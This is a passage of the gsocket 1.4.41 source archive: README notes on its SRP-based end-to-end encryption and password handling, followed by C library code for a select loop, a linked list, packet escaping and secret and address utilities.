**Crypto / Security Mumble Jumble**
1. The security is end-2-end. This means from User-2-User (and not just to the Relay Network). The Relay Network relays only (encrypted) data to and from the Users.
2. The session key is 256 bit and ephemeral. It is freshly generated for every session and generated randomly (and is not based on the password).
3. The password can be 'weak' without weakening the security of the session. A brute force attack against a weak password requires a new TCP connection for every guess.
4. Do not use stupid passwords like 'password123'. Malice might pick the same (stupid) password by chance and connect. If in doubt use *gs-netcat -g* to generate a strong one. Alice's and Bob's password should at least be strong enough so that Malice can not guess it by chance while Alice is waiting for Bob to connect.
5. If Alice shares the same password with Bob and Charlie and either one of them connects then Alice can not tell if it is Bob or Charlie who connected.
6. Assume Alice shares the same password with Bob and Malice. When Alice stops listening for a connection then Malice could start to listen for the connection instead. Bob (when opening a new connection) can not tell if he is connecting to Alice or to Malice. Use -a <token> if you worry about this. TL;DR: When sharing the same password with a group larger than 2 then it is assumed that everyone in that group plays nicely. Otherwise use SSH over the GS/TLS connection.
7. SRP has Perfect Forward Secrecy. This means that past sessions can not be decrypted even if the password becomes known.
8. It is possible (by using traffic analytics) to determine that Alice is communicating with Bob. The content of such communcitation is however secret (private) and can not be revealed by an ISP or the GSRN backend. The gsocket tools (such as gs-netcat) support the -T flag to anonymize the traffic via TOR.
9. I did not invent SRP. It's part of OpenSSL :>
---
If netcat is a swiss army knife then gs-netcat is a germanic battle axe...
--acpizer/UnitedCrackingForce
Join us
Telegram: https://t.me/thcorg
Twitter: https://twitter.com/hackerschoice
shoutz: D1G, [@xaitax](https://twitter.com/xaitax), #!adm
gsocket-1.4.41/lib/ 0000755 0001750 0001750 00000000000 14503376047 013723 5 ustar epsilon epsilon gsocket-1.4.41/lib/gsocket-select.c 0000644 0001750 0001750 00000020733 14503376047 017010 0 ustar epsilon epsilon
#include "gs-common.h"
#include
#include
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
/********* FUNCTIONS ********************/
int
GS_SELECT_CTX_init(GS_SELECT_CTX *ctx, fd_set *rfd, fd_set *wfd, fd_set *r, fd_set *w, struct timeval *tv_now, int frequency)
{
memset(ctx, 0, sizeof *ctx);
ctx->rfd = rfd;
ctx->wfd = wfd;
ctx->r = r;
ctx->w = w;
ctx->tv_now = tv_now;
gettimeofday(ctx->tv_now, NULL);
GS_EVENT_MGR_init(&ctx->emgr);
GS_EVENT_add_by_ts(&ctx->emgr, &ctx->hb, 0, frequency, NULL, NULL, 0);
// ctx->hb_init = GS_TV_TO_USEC(ctx->tv_now);
// ctx->hb_freq = frequency;
int i;
for (i = 0; i < FD_SETSIZE; i++)
{
ctx->mgr_r[i].func = NULL;
ctx->mgr_w[i].func = NULL;
}
return 0;
}
void
gs_select_rw_save_state(GS_SELECT_CTX *ctx, int fd, char *idstr)
{
/* Save rfd/wfd state */
if (ctx->is_rw_state_saved[fd] == 1)
{
// DEBUGF_R("*** WARNING ***: RWFD already saved. SKIPPING (fd = %d, %s)\n", fd, idstr);
return;
}
DEBUGF_M("Saving state (fd = %d, %s):\n", fd, idstr);
gs_fds_out_fd(ctx->rfd, 'r', fd);
gs_fds_out_fd(ctx->wfd, 'w', fd);
ctx->saved_rw_state[fd] = 0;
ctx->is_rw_state_saved[fd] = 1;
if (FD_ISSET(fd, ctx->rfd))
ctx->saved_rw_state[fd] |= 0x01;
if (FD_ISSET(fd, ctx->wfd))
ctx->saved_rw_state[fd] |= 0x02;
}
void
gs_select_rw_restore_state(GS_SELECT_CTX *ctx, int fd, char *idstr)
{
if (ctx->is_rw_state_saved[fd] == 0)
{
// DEBUGF("RWFD was not saved. Nothing to restore (fd = %d, %s).\n", fd, idstr);
return;
}
// DEBUGF_B("Restoring RWFD state (fd = %d, %s, %d)\n", fd, idstr, ctx->is_rw_state_saved[fd]);
/* This can happen when FD was half-closed (shutdown received):
* - We stopped reading (rfd not set)
* - Write() triggered would-block (wfd set) and then restored to 0.
*/
if (ctx->saved_rw_state[fd] == 0)
DEBUGF_Y("*** NOTE ***: Restoring empty RW state (fd = %d, %s)\n", fd, idstr);
ctx->is_rw_state_saved[fd] = 0;
FD_CLR(fd, ctx->rfd);
FD_CLR(fd, ctx->wfd);
if (ctx->saved_rw_state[fd] & 0x01)
XFD_SET(fd, ctx->rfd);
if (ctx->saved_rw_state[fd] & 0x02)
XFD_SET(fd, ctx->wfd);
ctx->saved_rw_state[fd] = 0;
if (fd > 0)
{
DEBUGF_M("Restored state:\n");
gs_fds_out_fd(ctx->rfd, 'r', fd);
gs_fds_out_fd(ctx->wfd, 'w', fd);
}
}
void
gs_select_set_rdata_pending(GS_SELECT_CTX *ctx, int fd, int len)
{
ctx->rdata_pending_count++;
ctx->rdata_pending[fd] = len;
}
static void
call_item(GS_SELECT_CTX *ctx, struct _gs_sel_item *item, int fd)
{
// int ret;
(*item->func)(ctx, fd, item->cb_arg, item->cb_val);
// DEBUGF("cb-func ret = %d (fd %d)\n", ret, fd);
/* 1. Think carefully: STDIN (fd=0) may have succesfully
* 1024 bytes but GS_write (fd=3) failed (WANT-WRITE).
* - Do not set fd=0 to WANT-WRITE. Instead the GS_write()
* should set that flag on itself (fd=3).
*
* 2. Think carefully: Not all GS_read/GS_write functions
* are called by callbacks: Reading from STDIN calls
* GS_write() regardless if GS_write() would block or not.
*/
}
/*
* Return 0 on timeout.
* Return -1 on fatal error. Errno is set.
*/
int
GS_select(GS_SELECT_CTX *ctx)
{
int n;
struct timeval tv;
// int ret;
int i;
while (1)
{
int max_fd = ctx->max_fd;
/* Before calling select() to check if there is new data on I/O:
* - Check if there is already data in the user-land (such as from
* SSL_pending() before checking I/O [kernel].
*/
for (i = 0; i <= max_fd; i++)
{
if (ctx->rdata_pending_count <= 0)
break;
/* Continue if there is no pending data in the input read buffer */
if (ctx->rdata_pending[i] == 0)
continue;
/* Continue if the app does not want us to submit read data */
if (!FD_ISSET(i, ctx->rfd))
continue;
/* HERE: Call to GS_read() needed because there is still
* data in the input buffer (not i/o buffer).
*/
DEBUGF_Y("fd=%d Pending data in SSL read input buffer (len=%d):>\n", i, ctx->rdata_pending[i]);
ctx->rdata_pending_count--;
call_item(ctx, &ctx->mgr_r[i], i);
}
/* Do it again if there are still items that
* have data in their input buffer...
*/
if (ctx->rdata_pending_count > 0)
continue;
memcpy(ctx->r, ctx->rfd, sizeof *ctx->r);
memcpy(ctx->w, ctx->wfd, sizeof *ctx->w);
uint64_t wait;
wait = GS_EVENT_execute(&ctx->emgr);
gettimeofday(ctx->tv_now, NULL);
GS_USEC_TO_TV(&tv, wait);
gs_fds_out_rwfd(ctx);
n = select(max_fd + 1, ctx->r, ctx->w, NULL, &tv);
// DEBUGF_B("max-fd = %d, *************** select = %d\n", max_fd, n);
if (n < 0)
{
if (errno == EINTR)
continue;
return -1;
}
gettimeofday(ctx->tv_now, NULL);
// gs_fds_out(ctx->r, max_fd, 'r');
// gs_fds_out(ctx->w, max_fd, 'w');
// int wants = 0;
for (i = 0; i <= max_fd; i++)
{
/* 'n' is not reliable as a listening gsocket might handle more than 1 fd
* if more than 1 are readable. Only 1 listen-callback will be called
* but the callback may serve more than 1 fd.
*/
if (n <= 0)
break;
struct _gs_sel_item *item = NULL;
char c;
/* Must check r and rfd in case app deselected rfd to stop reading */
if (FD_ISSET(i, ctx->r) && FD_ISSET(i, ctx->rfd))
{
// DEBUGF_B("I/O == READ (fd = %d)\n", i);
/* GS_CALLREAD or GS_CALLDEFAULT */
/* Find out if read-i/o was required because GS_write() set
* WANT_READ.
*/
item = &ctx->mgr_r[i];
c = 'r';
if (ctx->want_io_read[i])
{
if (ctx->blocking_func[i] & GS_CALLWRITE)
{
item = &ctx->mgr_w[i];
c = 'W';
}
}
// DEBUGF_B("CTX-R: %c fd=%d\n", c, i);
XASSERT(item->func != NULL, "%c fd = %d has no function to call\n", c, i);
call_item(ctx, item, i);
n--;
}
if (FD_ISSET(i, ctx->w) && FD_ISSET(i, ctx->wfd))
{
// DEBUGF_B("I/O == WRITE (fd = %d)\n", i);
item = &ctx->mgr_w[i];
c = 'w';
if (ctx->want_io_write[i])
{
if (ctx->blocking_func[i] & GS_CALLREAD)
{
item = &ctx->mgr_r[i];
c = 'R';
}
}
// DEBUGF_B("call_item: %c fd=%d\n", c, i);
XASSERT(item->func != NULL, "%c fd = %d has no function to call\n", c, i);
call_item(ctx, item, i);
n--;
} /* FD_ISSET(i, ctx->w) */
} /* for () */
/* Time to return control to caller? */
if (ctx->emgr.is_return_to_caller)
{
ctx->emgr.is_return_to_caller = 0;
return 0;
}
// if (((ctx->hb_freq > 0) && GS_TV_TO_USEC(ctx->tv_now) > ctx->hb_next))
// {
// return 0;
// }
} /* while (1) */
ERREXIT("NOT REACHED\n");
return -1;
}
void
GS_SELECT_del_cb(GS_SELECT_CTX *ctx, int fd)
{
int new_max_fd = 0;
DEBUGF_B("Removing CB for fd = %d\n", fd);
ctx->mgr_r[fd].func = NULL;
ctx->mgr_w[fd].func = NULL;
ctx->mgr_r[fd].cb_arg = NULL;
ctx->mgr_w[fd].cb_arg = NULL;
ctx->mgr_w[fd].cb_val = 0;
ctx->mgr_r[fd].cb_val = 0;
FD_CLR(fd, ctx->rfd);
FD_CLR(fd, ctx->wfd);
FD_CLR(fd, ctx->r);
FD_CLR(fd, ctx->w);
ctx->blocking_func[fd] = 0;
/* Calcualte new max-fd */
int i;
#ifdef DEBUG
char buf[FD_SETSIZE + 1];
memset(buf, '-', sizeof buf);
buf[ctx->max_fd + 1] = '\0';
int c;
int tracking = 0;
#endif
for (i = 0; i <= ctx->max_fd; i++)
{
if ((ctx->mgr_r[i].func == NULL) && (ctx->mgr_w[i].func == NULL))
{
continue;
}
#ifdef DEBUG
tracking += 1;
c = 0;
if (ctx->mgr_r[i].func != NULL)
c = 1;
if (ctx->mgr_w[i].func != NULL)
c += 2;
if (c == 1)
buf[i] = 'r'; // should not happen
if (c == 2)
buf[i] = 'w'; // should not happen.
if (c == 3)
buf[i] = 'X'; // both callback functions set (normal case).
#endif
new_max_fd = i;
}
#ifdef DEBUG
buf[fd] = '*'; // This one being removed
// xfprintf(gs_errfp, "%s (CB funcs, tracking=%d, max=%d)\n", buf, tracking, ctx->max_fd);
#endif
DEBUGF("Setting MAX-FD to %d\n", new_max_fd);
ctx->max_fd = new_max_fd;
}
void
GS_SELECT_add_cb_r(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val)
{
DEBUGF_B("Adding CB-r for fd = %d\n", fd);
ctx->mgr_r[fd].func = (void *)func;
ctx->mgr_r[fd].cb_arg = arg;
ctx->mgr_r[fd].cb_val = val;
ctx->max_fd = MAX(ctx->max_fd, fd);
ctx->blocking_func[fd] = 0;
}
void
GS_SELECT_add_cb_w(GS_SELECT_CTX *ctx, gselect_cb_t func, int fd, void *arg, int val)
{
DEBUGF_B("Adding CB-w for fd = %d\n", fd);
ctx->mgr_w[fd].func = (void *)func;
ctx->mgr_w[fd].cb_arg = arg;
ctx->mgr_w[fd].cb_val = val;
ctx->max_fd = MAX(ctx->max_fd, fd);
ctx->blocking_func[fd] = 0;
}
void
GS_SELECT_add_cb(GS_SELECT_CTX *ctx, gselect_cb_t func_r, gselect_cb_t func_w, int fd, void *arg, int val)
{
GS_SELECT_add_cb_r(ctx, func_r, fd, arg, val);
GS_SELECT_add_cb_w(ctx, func_w, fd, arg, val);
}
gsocket-1.4.41/lib/list.c 0000644 0001750 0001750 00000007723 14503376047 015053 0 ustar epsilon epsilon /*
* Double Linked List
*/
#include "gs-common.h"
#include
#include "gs-externs.h"
#define GS_LIST_PREV(xitem) ((GS_LIST_ITEM *)xitem)->prev
#define GS_LIST_NEXT(xitem) ((GS_LIST_ITEM *)xitem)->next
int
GS_LIST_init(GS_LIST *gsl, int opt)
{
memset(gsl, 0, sizeof *gsl);
gsl->opt = opt;
return 0;
}
// FOR DEBUGGING ONLY
void
GS_LIST_stderr(GS_LIST *gsl, const char *msg)
{
GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL);
DEBUGF_C("Items=%d: %s", gsl->n_items, msg);
int i = 0;
for (; li != NULL; li = GS_LIST_next(gsl, li))
{
DEBUGF_Y("#%d id=%"PRIu64" %p (prev=%p, next=%p)\n", i++, li->id, li, li->prev, li->next);
XASSERT(i < 6, "list to long (debugging)\n"); // FIXME:
}
if (i != gsl->n_items)
ERREXIT("wrong number of items: %d\n", i);
}
GS_LIST_ITEM *
GS_LIST_next(GS_LIST *gsl, GS_LIST_ITEM *li)
{
if (li == NULL)
return gsl->head;
XASSERT(li != li->next, "list-item is looping (%p)\n", li);
return li->next;
}
static void
gs_list_unlink(GS_LIST_ITEM *del_li)
{
GS_LIST *gsl = del_li->gsl;
if (del_li->prev == NULL)
gsl->head = del_li->next; // Might be NULL
else
GS_LIST_NEXT(del_li->prev) = del_li->next;
if (del_li->next == NULL)
gsl->tail = del_li->prev; // Might be NULL
else
GS_LIST_PREV(del_li->next) = del_li->prev;
gsl->n_items -= 1;
}
static void
gs_list_link(GS_LIST_ITEM *src_li)
{
GS_LIST *gsl = src_li->gsl;
gsl->n_items += 1;
// First element
if (gsl->head == NULL)
{
gsl->tail = src_li;
gsl->head = src_li;
src_li->next = NULL;
src_li->prev = NULL;
goto done;
}
// Start from tail to find insert location
GS_LIST_ITEM *li = gsl->tail;
// DEBUGF("Tail id == %llu\n", li->id);
while (li != NULL)
{
if (li->id <= src_li->id)
break;
li = li->prev;
}
// DEBUGF("Add %llu below this one: %llu\n", id, li->id);
// id is smallest (e.g. becoming head)
if (li == NULL)
{
// DEBUGF("Becoming head\n");
// li becoming the head
src_li->next = gsl->head;
src_li->prev = NULL;
gsl->head->prev = src_li;
gsl->head = src_li;
goto done;
}
// Add below li
src_li->next = li->next; // == NULL if tail
src_li->prev = li;
if (li->next != NULL) // Not the tail
GS_LIST_PREV(li->next) = src_li;
else
gsl->tail = src_li; // next tail
li->next = src_li;
done:
XASSERT(src_li != src_li->next, "list-item already in list\n");
}
void
GS_LIST_relink(GS_LIST_ITEM *li, uint64_t id)
{
li->id = id;
gs_list_unlink(li);
gs_list_link(li);
}
/*
* Move ITEM to a new another list.
*/
void
GS_LIST_move(GS_LIST *gsl, GS_LIST_ITEM *li)
{
if (li->gsl == gsl)
return;
gs_list_unlink(li);
GS_LIST_add(gsl, li, li->data, li->id);
}
/*
* Add an item to the list. Sorted by id. Smallest at top.
*/
GS_LIST_ITEM *
GS_LIST_add(GS_LIST *gsl, GS_LIST_ITEM *src_li, void *data, uint64_t id)
{
if (src_li == NULL)
{
src_li = calloc(1, sizeof *src_li);
XASSERT(src_li != NULL, "calloc(): %s\n", strerror(errno));
src_li->is_calloc = 1;
} else {
src_li->is_calloc = 0;
}
src_li->data = data;
src_li->id = id;
src_li->gsl = gsl;
src_li->add_id = gsl->add_count;
gsl->add_count += 1;
gs_list_link(src_li);
// DEBUGF("tail id = %llu\n", gsl->tail->id);
return src_li;
}
GS_LIST_ITEM *
GS_LIST_by_pos(GS_LIST *gsl, int pos)
{
if (pos >= gsl->n_items)
return NULL;
int n = 0;
GS_LIST_ITEM *li = NULL;
while (1)
{
li = GS_LIST_next(gsl, li);
if (li == NULL)
break;
if (n == pos)
break;
n += 1;
}
return li;
}
GS_LIST_ITEM *
GS_LIST_by_id(GS_LIST *gsl, uint64_t id)
{
GS_LIST_ITEM *li = GS_LIST_next(gsl, NULL);
for (; li != NULL; li = GS_LIST_next(gsl, li))
{
if (id == li->id)
return li;
}
return NULL;
}
int
GS_LIST_del(GS_LIST_ITEM *del_li)
{
if (del_li == NULL)
return 0;
gs_list_unlink(del_li);
if (del_li->is_calloc)
XFREE(del_li);
return 0;
}
int
GS_LIST_del_all(GS_LIST *gsl, int deep)
{
GS_LIST_ITEM *li;
while (1)
{
li = GS_LIST_next(gsl, NULL);
if (li == NULL)
break;
if (deep)
XFREE(li->data);
GS_LIST_del(li);
}
return 0;
}
gsocket-1.4.41/lib/packet.c 0000644 0001750 0001750 00000013503 14503376047 015340 0 ustar epsilon epsilon /*
* In-band packet stack.
*
* Used for transfering data (such as change in window size) to remote peer.
*/
#include "gs-common.h"
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
int
GS_PKT_init(GS_PKT *pkt)
{
memset(pkt, 0, sizeof *pkt);
return 0;
}
int
GS_PKT_close(GS_PKT *pkt)
{
return 0;
}
/*
* Assign call-back functions for different in-band signals.
*/
static int
gs_pkt_assign(GS_PKT *pkt, uint8_t type, gspkt_cb_t func, void *arg)
{
pkt->funcs[type] = func;
pkt->args[type] = arg;
return 0;
}
int
GS_PKT_assign_msg(GS_PKT *pkt, uint8_t msg, gspkt_cb_t func, void *arg)
{
return gs_pkt_assign(pkt, msg, func, arg);
}
int
GS_PKT_assign_chn(GS_PKT *pkt, uint8_t chn, gspkt_cb_t func, void *arg)
{
return gs_pkt_assign(pkt, chn + GS_PKT_MAX_MSG, func, arg);
}
/*
* Encode len bytes from src to dst.
* dst must be 2x the size of src.
*
* FIXME: could make this more memory efficient by using src == dst
* and start encoding from the rear end (reverse) and return pointer to
* dst.
*/
void
GS_PKT_encode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen)
{
uint8_t *dst_orig = dst;
const uint8_t *send = src + slen;
/* Escape any occurance of PKT_ESC with PKT_ESC PKT_ESC (double) */
while (src < send)
{
*dst = *src;
if (*src == GS_PKT_ESC)
{
// DEBUGF_W("Encoding ESC\n");
dst++;
*dst = GS_PKT_ESC;
}
dst++;
src++;
}
*dlen = dst - dst_orig;
}
int
GS_PKT_MSG_size_by_type(int type)
{
if (type == GS_PKT_TYPE_NONE /* 0x00*/) {
return -2; // Protocol Error (FATAL)
} else if (type < 16) {
return 4; // 4 - chn 1..15
} else if (type < 32) {
return 16; // 16 - chn 16..31
} else if (type < 48) {
return 64; // 64 - chn 32..47
} else if (type < 64) {
return 128; // 128 - chn 48..63
} else if (type < 80) {
return 512; // 512 - chn 64..79
} else if (type < 96) {
return 1024; // 1024 - chn 80..95
} else if (type < 112) {
return 2048; // 2048 - chn 96..111
}
return 4196; // 4196 - chn 112..127
}
/*
* Decode slen bytes into dst until an ESC-sequence is encountered.
* Return the number of bytes consumed from src.
*
* ESC ESC => ESC
* ESC [ 1 + 7bit CHN ] [ 16 bit length ] [ data ]
* ESC [ 0 + 7bit TYPE] [ data ]
*/
ssize_t
GS_PKT_decode_single(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen)
{
uint8_t *dst_orig = dst;
const uint8_t *src_orig = src;
const uint8_t *send = src + slen;
while (src < send)
{
if (pkt->esc_len_rem > 0)
{
if (pkt->type != 0)
{
// HERE: Either channel or msg
size_t len = MIN(pkt->esc_len_rem, send - src);
/* Check for BO (should not never happen) */
size_t available = sizeof pkt->inband - pkt->len;
XASSERT(len <= available, "len = %zu, left = %zu\n", len, available);
XASSERT(len <= pkt->esc_len_rem, "len=%zu, len_rem=%zu\n", len, pkt->esc_len_rem);
// DEBUGF("Copying %zu to inband data (total after: %zu, dsz=%zu)\n", len, pkt->len + len, dst - dst_orig);
memcpy(pkt->inband + pkt->len, src, len);
pkt->len += len;
src += len;
pkt->esc_len_rem -= len;
if (pkt->esc_len_rem <= 0)
{
if (GS_PKT_IS_CHANNEL(pkt->type) && (pkt->is_got_chn_len == 0))
{
uint16_t nlen;
memcpy(&nlen, &pkt->inband, 2);
pkt->is_got_chn_len = 1;
pkt->esc_len_rem = ntohs(nlen);
// DEBUGF_B("Len of channel message: %zu (dsz=%zu)\n", pkt->esc_len_rem, dst - dst_orig);
pkt->len = 0;
if (pkt->esc_len_rem != 0)
continue;
/* HERE: Zero length packet. Still call CallBack */
}
if (pkt->funcs[pkt->type] == NULL)
{
DEBUGF_R("No function assigned for type %u\n", pkt->type);
} else {
/* val is 0..127 for msg or 0..127 for channel */
uint8_t val;
val = pkt->type;
if (val >= GS_PKT_MAX_MSG)
val -= GS_PKT_MAX_MSG;
// DEBUGF("PKT cb type %d, data left=%zu (dsz=%zu)\n", pkt->type, send - src, dst - dst_orig);
(*pkt->funcs[pkt->type])(val, pkt->inband, pkt->len, pkt->args[pkt->type]);
}
// DEBUGF("%02x %02x %02x %02x\n", pkt->inband[0], pkt->inband[1], pkt->inband[2], pkt->inband[3]);
pkt->len = 0;
pkt->is_got_chn_len = 0;
}
continue;
}
if (*src == GS_PKT_ESC)
{
/* Was ESC ESC sequence */
*dst = GS_PKT_ESC;
dst++;
src++;
pkt->esc_len_rem = 0;
continue;
}
/* First character after ESC is TYPE || CHN */
pkt->type = *src;
if (pkt->type == 0x0)
{
DEBUGF_R("ERROR TYPE IS 0x00\n");
return -1; // Protocol Error (FATAL)
}
if (GS_PKT_IS_CHANNEL(pkt->type))
{
/* HERE: type == 128..255 (channel) */
pkt->esc_len_rem = 2; /* At least two bytes for length */
} else {
/* HERE: type == 0..127 (fixed length message) */
// DEBUGF("type 0x%x\n", pkt->type);
int len;
len = GS_PKT_MSG_size_by_type(pkt->type);
if (len < 0)
return len;
pkt->esc_len_rem = len;
}
/* HERE: It's an escape sequence */
src++;
/* Return any pending data in input buffer to caller before
* processing in-band signaling
*/
if (dst > dst_orig)
break;
} else {
/* NOT inside escape sequence */
if (*src == GS_PKT_ESC)
{
pkt->type = 0;
pkt->esc_len_rem = 1; /* Unknown at this stage */
src++;
continue;
}
/* COPY */
*dst = *src;
dst++;
src++;
}
}
*dlen = dst - dst_orig;
return src - src_orig;
}
/*
* Return 0 on success.
*/
int
GS_PKT_decode(GS_PKT *pkt, const uint8_t *src, size_t slen, uint8_t *dst, size_t *dlen)
{
size_t dsz;
uint8_t *dst_orig = dst;
ssize_t consumed;
const uint8_t *s_end = src + slen;
const uint8_t *s = src;
while (s < s_end)
{
consumed = GS_PKT_decode_single(pkt, s, s_end - s, dst, &dsz);
// DEBUGF("Consumed: %zd\n", consumed);
if (consumed < 0)
return -1;
dst += dsz;
s += consumed;
}
*dlen = dst - dst_orig;
return 0;
}
gsocket-1.4.41/lib/gsocket-sha256.h 0000644 0001750 0001750 00000001523 14503376047 016542 0 ustar epsilon epsilon /*********************************************************************
* Filename: sha256.h
* Author: Brad Conte (brad AT bradconte.com)
* Copyright:
* Disclaimer: This code is presented "as is" without any guarantees.
* Details: Defines the API for the corresponding SHA1 implementation.
*********************************************************************/
#ifndef HAVE_LIBCRYPTO
#warning "***** No OpenSSL. Using INTERNAL SHA256. *****"
/****************************** MACROS ******************************/
#define SHA256_BLOCK_SIZE 32 // SHA256 outputs a 32 byte digest
#define SHA256_DIGEST_LENGTH 32
unsigned char *GS_SHA256(const unsigned char *d, size_t n, unsigned char *md);
#else
/* HERE: HAVE_LIBCRYPTO is set and OpenSSL is available */
# define GS_SHA256(d, n, md) SHA256(d, n, md)
#endif /* HAVE_LIBCRYPTO */
gsocket-1.4.41/lib/gsocket-util.c 0000644 0001750 0001750 00000034743 14503376047 016514 0 ustar epsilon epsilon
#include "gs-common.h"
#include
#include "gsocket-engine.h"
#include "gs-externs.h"
static const char b58digits_ordered[] = "123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz";
// static const int8_t b58digits_map[] = {
// -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,
// -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,
// -1,-1,-1,-1,-1,-1,-1,-1, -1,-1,-1,-1,-1,-1,-1,-1,
// -1, 0, 1, 2, 3, 4, 5, 6, 7, 8,-1,-1,-1,-1,-1,-1,
// -1, 9,10,11,12,13,14,15, 16,-1,17,18,19,20,21,-1,
// 22,23,24,25,26,27,28,29, 30,31,32,-1,-1,-1,-1,-1,
// -1,33,34,35,36,37,38,39, 40,41,42,43,-1,44,45,46,
// 47,48,49,50,51,52,53,54, 55,56,57,-1,-1,-1,-1,-1,
// };
#ifndef HAVE_GETLINE
static int
getline(char **lineptr, size_t *n, FILE *stream)
{
static char line[256];
char *ptr;
unsigned int len;
if (lineptr == NULL || n == NULL)
{
errno = EINVAL;
return -1;
}
if (ferror (stream))
return -1;
if (feof(stream))
return -1;
fgets(line,256,stream);
ptr = strchr(line,'\n');
if (ptr)
*ptr = '\0';
len = strlen(line);
if ((len+1) < 256)
{
ptr = realloc(*lineptr, 256);
if (ptr == NULL)
return(-1);
*lineptr = ptr;
*n = 256;
}
strcpy(*lineptr,line);
return(len);
}
#endif /* HAVE_GETLINE */
static char *
user_secret_from_stdin(GS_CTX *ctx)
{
size_t n = 0;
char *ptr = NULL;
ssize_t len;
while (1)
{
fprintf(stderr, "Enter Secret (or press Enter to generate): ");
len = getline(&ptr, &n, stdin);
XASSERT(len > 0, "getline()\n");
if (ptr[len - 1] == '\n')
ptr[len - 1] = 0; // Remove '\n'
if (strlen(ptr) == 0)
return NULL;
if (strlen(ptr) >= 8)
break;
fprintf(stderr, "Too short.\n");
}
return strdup(ptr);
}
static char *
user_secret_from_file(GS_CTX *ctx, const char *file)
{
FILE *fp;
char buf[256];
int ret;
if (file == NULL)
return NULL;
memset(buf, 0, sizeof buf);
fp = fopen(file, "r");
if (fp == NULL)
{
gs_ctx_set_errorf(ctx, "'%s'", file);
return NULL;
}
ret = fread(buf, 1, sizeof buf - 1, fp);
fclose(fp);
if (ret <= 0)
return NULL;
if (buf[ret-1] == '\n')
buf[ret-1] = 0;
return strdup(buf);
}
char *
GS_getenv(const char *name)
{
char *ptr = getenv(name);
if (ptr == NULL)
return NULL;
if (*ptr == '\0')
return NULL;
return ptr;
}
uint32_t
GS_hton(const char *hostname)
{
struct hostent *he;
struct in_addr **addr_list;
uint32_t ip;
/* Check if the string is an IP addres "1.2.3.4" */
ip = inet_addr(hostname);
if (ip != 0xFFFFFFFF)
return ip;
he = gethostbyname(hostname);
if (he == NULL)
return 0xFFFFFFFF;
addr_list = (struct in_addr **)he->h_addr_list;
if (addr_list == NULL)
return 0xFFFFFFFF;
if (addr_list[0] == NULL)
return 0xFFFFFFFF;
return addr_list[0][0].s_addr;
}
const char *
GS_gen_secret(void)
{
int ret;
GS_library_init(stderr, stderr, NULL);
// Generate random numbers
uint8_t buf[GS_SECRET_MAX_LEN];
ret = RAND_bytes(buf, sizeof buf);
XASSERT(ret == 1, "RAND_bytes() failed.\n");
char b58[sizeof buf * 2];
size_t b58sz = sizeof (b58);
GS_bin2b58(b58, &b58sz, buf, sizeof buf);
b58[22] = '\0'; // shorten secret to 21 characters
return strdup(b58);
}
const char *
GS_user_secret(GS_CTX *ctx, const char *sec_file, const char *sec_str)
{
const char *ptr;
/* Secret from file has priority of sec_str value */
if (sec_file != NULL)
{
ptr = user_secret_from_file(ctx, sec_file);
if (ptr != NULL)
return ptr;
return NULL;
}
/* If sec_str is set by command line parameters then use it */
if (sec_str != NULL)
return sec_str;
/* Ask user to enter a secret or if empty generate one */
ptr = user_secret_from_stdin(ctx);
if (ptr != NULL)
return ptr;
/* Genexrate a new secret */
ptr = GS_gen_secret();
return ptr;
}
/* Convert 128 bit binary into base58 + CRC
*/
static int
b58enc(char *b58, size_t *b58sz, uint8_t *src, size_t binsz)
{
const uint8_t *bin = src;
int carry;
size_t i, j, high, zcount = 0;
size_t size;
/* Find out the length. Count leading 0's. */
while (zcount < binsz && !bin[zcount])
++zcount;
size = (binsz - zcount) * 138 / 100 + 1;
uint8_t buf[size];
memset(buf, 0, size);
for (i = zcount, high = size - 1; i < binsz; ++i, high = j)
{
for (carry = bin[i], j = size - 1; (j > high) || carry; --j)
{
carry += 256 * buf[j];
buf[j] = carry % 58;
carry /= 58;
if (!j)
{
break;
}
}
}
for (j = 0; j < size && !buf[j]; ++j);
if (*b58sz <= zcount + size - j)
{
ERREXIT("Wrong size...%zu\n", zcount + size - j + 1);
*b58sz = zcount + size - j + 1;
return -1;
}
if (zcount)
memset(b58, '1', zcount);
for (i = zcount; j < size; ++i, ++j)
{
b58[i] = b58digits_ordered[buf[j]];
}
b58[i] = '\0';
*b58sz = i + 1;
return 0;
}
char *
GS_bin2b58(char *b58, size_t *b58sz, uint8_t *src, size_t binsz)
{
b58enc(b58, b58sz, src, binsz);
return b58;
}
// 0-Terminate 'dst'.
static char *
bin2hex(char *dst, size_t dsz, const void *src, size_t sz, char *hexset)
{
char *end = dst + dsz;
char *dst_orig = dst;
uint8_t *s = (uint8_t *)src;
uint8_t *e = s + sz;
while ((dst + 1 < end) && (s < e))
{
*dst = hexset[*s >> 4];
dst += 1;
if (dst + 1 >= end)
break;
*dst = hexset[*s & 0x0f];
dst += 1;
s++;
}
*dst = '\0';
return dst_orig;
}
char *
GS_bin2hex(char *dst, size_t dsz, const void *src, size_t sz)
{
return bin2hex(dst, dsz, src, sz, "0123456789abcdef");
}
char *
GS_bin2HEX(char *dst, size_t dsz, const void *src, size_t sz)
{
return bin2hex(dst, dsz, src, sz, "0123456789ABCDEF");
}
char *
GS_addr2hex(char *dst, const void *src)
{
if (dst == NULL)
{
static char dst_local[GS_ADDR_SIZE * 2 + 1];
dst = dst_local;
}
return GS_bin2hex(dst, GS_ADDR_SIZE * 2 + 1, src, GS_ADDR_SIZE);
}
char *
GS_token2hex(char *dst, const void *src)
{
if (dst == NULL)
{
static char dst_local[GS_TOKEN_SIZE * 2 + 1];
dst = dst_local;
}
return GS_bin2hex(dst, GS_TOKEN_SIZE * 2 + 1, src, GS_TOKEN_SIZE);
}
#define GS_SRP_KD1 "/kd/srp/1"
#define GS_ADDR_KD2 "/kd/addr/2"
// Convert a secret to a SRP secret and address.
GS_ADDR *
GS_ADDR_sec2addr(GS_ADDR *addr, const char *gs_secret)
{
unsigned char md[SHA256_DIGEST_LENGTH];
SHA256_CTX sha;
// Derive a SRP Secret (from gs_secret)
SHA256_Init(&sha);
